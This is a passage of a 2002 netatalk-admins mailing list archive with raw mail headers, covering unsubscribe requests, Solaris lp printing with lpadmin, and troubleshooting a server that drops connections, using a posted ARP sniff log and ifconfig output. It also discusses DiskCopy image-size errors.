192.168.1.120?  Tell 192.168.1.2
159592 17:01:08.8498 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159593 17:01:09.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159594 17:01:10.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159595 17:01:13.2681 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159596 17:01:13.2682 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159597 17:01:14.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159598 17:01:14.2599 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159599 17:01:15.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159600 17:01:15.2600 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159601 17:01:16.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.2
159602 17:01:17.3301 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159603 17:01:17.3311 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159604 17:01:17.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.2
159605 17:01:18.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159606 17:01:18.3312 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159607 17:01:18.6802 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.2
159608 17:01:19.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159609 17:01:19.3313 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159610 17:01:19.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159611 17:01:19.6005 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c
159612 17:01:20.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2


ifconfig
eth0      Link encap:Ethernet  HWaddr 00:E0:18:90:57:31
          inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
          EtherTalk Phase 2 addr:65280/94
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:349589 errors:0 dropped:0 overruns:0 frame:0
          TX packets:208378 errors:0 dropped:0 overruns:0 carrier:0
          collisions:132288


From netatalk.administrators-errors@umich.edu  Tue Feb 12 19:19:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA20792
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 19:19:24 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA29903
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 19:19:24 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA29899
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 19:19:23 -0500 (EST)
Received: from audhumla.ginnungagap.de (wo1017.wohnheim.uni-wuerzburg.de [132.187.221.17])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA29883
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 19:19:22 -0500 (EST)
Received: from durtro by audhumla.ginnungagap.de with local (Exim 3.34 #1 (Debian))
	id 16an8p-0001w3-00
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 01:19:19 +0100
Date: Wed, 13 Feb 2002 01:19:17 +0100
From: Markus Hirschmann <durtro@ginnungagap.de>
To: netatalk-admins@umich.edu
Subject: Re: Unsubscribe
Message-ID: <20020213001916.GA17343@ginnungagap.de>
References: <20020212193440.GA30739@abarrach.franken.de> <3C68806B.9CA49A46@netconnect.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3C68806B.9CA49A46@netconnect.net>
User-Agent: Mutt/1.3.27i
Priority: normal
X-Mailer: Mutt

Hi Greg.

On Mon, Feb 11, 2002 at 06:35:42PM -0800, Greg wrote:
 
> I've sent mail everywhere I can think of, including majordomo@umich.edu 
> to unsubscribe from this list (netatalk-admins).  Nothing has worked, 
> and I am tired of getting this mail.
> So, I am turning to the list itself.  Who here can unsubscribe me?

I have the same problems.

Markus

From netatalk.administrators-errors@umich.edu  Tue Feb 12 20:55:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA24723
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 20:55:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA23962
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 20:55:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA23923
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 20:55:10 -0500 (EST)
Received: from galaxy.tbird.com (galaxy.tbird.com [199.72.122.9])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA23889
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 20:55:08 -0500 (EST)
Received: from eagle.tbird.com (eagle.tbird.com [199.72.122.7])
	by galaxy.tbird.com (8.9.2/8.9.2) with SMTP id UAA07239
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 20:55:04 -0500 (EST)
Message-Id: <200202130155.UAA07239@galaxy.tbird.com>
Date: Tue, 12 Feb 2002 20:55:05 -0500 (EST)
From: rnf <rnf@tbird.com>
Reply-To: rnf <rnf@tbird.com>
Subject: Printing under Solaris
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: EXh25U4pkBpo66/WodamIw==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4m sparc 

Hi Admins,

I have netatalk-1.4b2+asun2.1.4 installed on a Solaris 8 machine and I'm able to 
print a PostScript file using pap but I'm having no luck getting lp to filter a 
print job and submit it to pap as PostScript.

Can anyone point me to some documentation on how to set this up?  The FAQ's 
don't cover if for Solaris.

There used to be a good web site that discussed this, but it has disappeared 
(should have copied that info locally).

Thanks!

Rick
rnf@tbird.com


From netatalk.administrators-errors@umich.edu  Tue Feb 12 21:10:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA25159
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 21:10:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA13010
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 21:10:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA13003
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 21:10:09 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA12991
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 21:10:08 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id SAA08338
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 18:09:42 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <1DGYSX6W>; Tue, 12 Feb 2002 18:09:42 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E3064503250AAE@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu
Subject: RE: Printing under Solaris
Date: Tue, 12 Feb 2002 18:09:35 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

You need to use the lpadmin command - something like:

   lpadmin -p <printername> -I postscript -T PS
Then the lp system will know it can handle native postscript.

> ----------
> From: 	rnf
> Reply To: 	rnf
> Sent: 	Tuesday, February 12, 2002 5:55 PM
> To: 	netatalk-admins@umich.edu
> Subject: 	Printing under Solaris
> 
> Hi Admins,
> 
> I have netatalk-1.4b2+asun2.1.4 installed on a Solaris 8 machine and I'm
> able to 
> print a PostScript file using pap but I'm having no luck getting lp to
> filter a 
> print job and submit it to pap as PostScript.
> 
> Can anyone point me to some documentation on how to set this up?  The
> FAQ's 
> don't cover if for Solaris.
> 
> There used to be a good web site that discussed this, but it has
> disappeared 
> (should have copied that info locally).
> 
> Thanks!
> 
> Rick
> rnf@tbird.com
> 
> 

From netatalk.administrators-errors@umich.edu  Wed Feb 13 00:48:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA04372
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 00:48:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA05886
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 00:48:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA05873
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 00:48:09 -0500 (EST)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA05710
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 00:48:03 -0500 (EST)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated)
	by max.hkust.se (8.11.6/8.11.6) with ESMTP id g1D5p6x31750;
	Wed, 13 Feb 2002 06:51:06 +0100
Message-ID: <3C69FE10.3E94CBB@hkust.se>
Date: Wed, 13 Feb 2002 06:48:00 +0100
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
MIME-Version: 1.0
To: Markus Koch <sysadmin@netz-leistung.de>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: network connections are suddenly dropped ?
References: <ELEEKGAGFFNGOEHDIHKDKEDJCAAA.sysadmin@netz-leistung.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

You have a lot of collisions...

Also, try to eliminate physical problems with your network, e.g. by
pulling a separate, known good ethernet cable to a known good switch?


/m


Markus Koch wrote:
> 
> Hi
> 
> One of my servers (PII400/440BX/Intel EtherexpressPro or Realtek and SCSI on
> board / 2.4.16) suddenly drops all connections to it (appletalk and samba).
> The server is not even reachable by pings. During the workday, this persists
> for 1 to 5 min and then everything is fine again. At night or on weekends if
> nobody is around, this issue could persist for a whole day.
> I sniffed all broadcast and server specific traffic from a second linux
> computer within the same network (logs
> are attached). It looks to me as if the server suddenly forgets all arp
> entries and sends out arp requests. The weird thing is, that he does not
> seem to recognize the arp answers but keeps on asking. Is there anybbody
> with an isea? I tried almost everything: new NIC, new kernel, new netatalk,
> etc. All other servers with similar harware and linux systems but without
> appletalk are fine.
> 
> thanks
> 
> markus
> 
> sniffed from 192.168.1.1
> (server in question is 192.168.1.2  192.168.1.104 is a win95 that is active
> but does not answer)
> 
> 159447 16:58:38.2394 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159448 16:58:38.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159450 16:58:39.2395 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159451 16:58:39.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159452 16:58:40.2396 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159453 16:58:40.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159454 16:58:41.2396 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159455 16:58:41.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159457 16:58:42.2397 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159458 16:58:42.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159459 16:58:43.2398 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159460 16:58:43.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159461 16:58:43.7198 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159462 16:58:43.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159463 16:58:44.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159464 16:58:44.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159466 16:58:45.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159467 16:58:45.7210 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159468 16:58:45.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159469 16:58:46.0084 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c
> 159471 16:58:46.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159472 16:58:46.9902 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c
> 1159475 16:58:47.9901 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159476 16:58:47.9903 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c159574
> (snipped)
> 159579 17:01:03.2613 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159580 17:01:03.2614 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159581 17:01:03.7204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159582 17:01:04.2592 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159583 17:01:04.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159584 17:01:05.2593 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159585 17:01:05.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159586 17:01:06.8494 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159587 17:01:06.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159588 17:01:07.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159589 17:01:07.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159590 17:01:08.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159591 17:01:08.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.120?  Tell 192.168.1.2
> 159592 17:01:08.8498 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
> 192.168.1.120 is at 00:05:02:e1:a9:5b
> 159593 17:01:09.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159594 17:01:10.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.1
> 159595 17:01:13.2681 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159596 17:01:13.2682 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159597 17:01:14.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159598 17:01:14.2599 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159599 17:01:15.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.1?  Tell 192.168.1.2
> 159600 17:01:15.2600 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
> is at 00:30:84:0b:27:c3
> 159601 17:01:16.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.2
> 159602 17:01:17.3301 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159603 17:01:17.3311 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159604 17:01:17.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.2
> 159605 17:01:18.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159606 17:01:18.3312 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159607 17:01:18.6802 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.104?  Tell 192.168.1.2
> 159608 17:01:19.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.105?  Tell 192.168.1.2
> 159609 17:01:19.3313 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
> is at 08:00:07:d7:be:26
> 159610 17:01:19.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 159611 17:01:19.6005 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
> 192.168.1.122 is at 00:0a:27:b6:0d:5c
> 159612 17:01:20.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
> 192.168.1.122?  Tell 192.168.1.2
> 
> ifconfig
> eth0      Link encap:Ethernet  HWaddr 00:E0:18:90:57:31
>           inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
>           EtherTalk Phase 2 addr:65280/94
>           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
>           RX packets:349589 errors:0 dropped:0 overruns:0 frame:0
>           TX packets:208378 errors:0 dropped:0 overruns:0 carrier:0
>           collisions:132288

From netatalk.administrators-errors@umich.edu  Wed Feb 13 02:38:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA08896
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 02:38:05 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA24305
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 02:38:05 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA24297
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 02:38:05 -0500 (EST)
Received: from hippocrates.med.usyd.edu.au (hippocrates.med.usyd.edu.au [129.78.36.28])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA24261
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 02:38:03 -0500 (EST)
Received: from anath.smp.usyd.edu.au ([129.78.231.30] helo=anath.gmp.usyd.edu.au)
	by hippocrates.med.usyd.edu.au with esmtp (Exim 3.34 #1)
	id 16atzO-0004aK-00
	for netatalk-admins@umich.edu; Wed, 13 Feb 2002 18:38:02 +1100
Subject: unsubscribe
From: Chris Albone <yvain@gmp.usyd.edu.au>
To: netatalk-admins@umich.edu
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-FUuI38yPHXLMcQvOA08o"
X-Mailer: Evolution/1.0.2 
Date: 13 Feb 2002 18:37:58 +1100
Message-Id: <1013585878.11310.91.camel@anath.gmp.usyd.edu.au>
Mime-Version: 1.0


--=-FUuI38yPHXLMcQvOA08o
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

unsubscribe
--=20
Chris Albone			wf:	+61 2 9351 7774
Systems Manager,		mf:	0414 597 571
Faculty of Medicine		fx:	+61 2 9351 7778
University of Sydney	#include <witty_comment.h>

--=-FUuI38yPHXLMcQvOA08o
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEABECAAYFAjxqF9YACgkQidM+E6QbbcCULQCdH1Qr4+DHCC+vEjqqhwLaxwCO
BW0AmgMqUjTX4z+9OWYEQkaGH8T+EORT
=X94i
-----END PGP SIGNATURE-----

--=-FUuI38yPHXLMcQvOA08o--


From netatalk.administrators-errors@umich.edu  Wed Feb 13 04:19:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA12414
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 04:19:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA18657
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 04:19:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA18648
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 04:18:59 -0500 (EST)
Received: from mail.talknet.de (smtp02.talknet.de [195.252.142.72])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA18628
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 04:18:58 -0500 (EST)
Received: from [192.168.1.5] (a1as11-p88.mch.tli.de [195.252.166.88])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1D9IZq02104;
	Wed, 13 Feb 2002 10:18:39 +0100 (MET)
X-Delivered-To: <>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100301b88fdc67ac1d@[192.168.1.5]>
In-Reply-To: <B88EE009.3FC7%rbline@wm.edu>
References: <B88EE009.3FC7%rbline@wm.edu>
Date: Wed, 13 Feb 2002 10:04:28 +0100
To: Rob Lineweaver <rbline@wm.edu>, netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: Re: Creating images
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA12414

Hi,

thanks a lot for that reply - but is the same sort of bug in ShrinkWrap 3.0?

WD


>>  When I try to create an image with around 300 MB of size, DiskCopy
>>  and ShrinkWrap say "the disk is full" - allthough there is plenty of
>>  empty space (930 MB). The number of free blocks is sufficient, too.
>>  Creating the image on the local volume and then copying to the linux
>>  works fine - but takes quite extra time and effort.
>>
>
>This is a known and admitted problem with Apple's DiskCopy.  This is not a
>Netatalk problem; it behaves exactly the same way on an AppleShare IP
>server.  DiskCopy is sorely in need of an update so keep your eyes peeled
>for a fix to this issue.
>
>Rob Lineweaver
>:)

-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Wed Feb 13 06:11:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA16693
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 06:11:58 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA18960
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 06:11:58 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA18950
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 06:11:57 -0500 (EST)
Received: from mail.hello-penguin.com (pinguin13.kwc.at [193.228.81.158])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA18915
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 06:11:55 -0500 (EST)
Received: from dejan by mail.hello-penguin.com with local (Exim 3.33 #3)
	id 16axKB-0004rM-00; Wed, 13 Feb 2002 12:11:43 +0100
Date: Wed, 13 Feb 2002 12:11:43 +0100
From: Dejan Muhamedagic <dejan@hello-penguin.com>
To: Markus Koch <sysadmin@netz-leistung.de>
Cc: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: network connections are suddenly dropped ?
Message-ID: <20020213121143.A18547@smp.colors.kwc>
Reply-To: Dejan Muhamedagic <dejan@hello-penguin.com>
Mail-Followup-To: Markus Koch <sysadmin@netz-leistung.de>,
	Netatalk-Admins <netatalk-admins@umich.edu>
References: <ELEEKGAGFFNGOEHDIHKDKEDJCAAA.sysadmin@netz-leistung.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
